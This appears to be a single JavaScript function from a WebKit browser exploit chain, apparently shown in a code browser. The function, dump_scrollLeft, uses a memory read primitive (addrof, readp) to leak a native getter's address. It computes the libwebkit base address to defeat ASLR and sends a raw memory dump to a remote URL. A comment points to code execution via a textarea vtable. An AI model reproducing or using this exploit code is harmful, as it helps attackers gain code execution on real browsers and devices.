Function dump_scrollLeft

g2all/700/send.js:191–205

()

// See howto_code_exec.txt about code execution via the vtable of a textarea
// element.
function dump_scrollLeft() {
  let proto = Object.getPrototypeOf(textarea);
  proto = Object.getPrototypeOf(proto);
  proto = Object.getPrototypeOf(proto);

  const scrollLeft_get = Object.getOwnPropertyDescriptors(proto).scrollLeft.get;
  // get the JSCustomGetterSetterFunction
  const js_func = mem.addrof(scrollLeft_get);
  const getterSetter = js_func.readp(0x28);
  const getter = getterSetter.readp(8);

  const libwebkit_base = find_base(getter, true, true);
  const offset = getter.sub(libwebkit_base);
  send(url, make_buffer(getter, 0x800), `scrollLeft_getter_dump_offset_${offset}.bin`, () => log("sent"));
}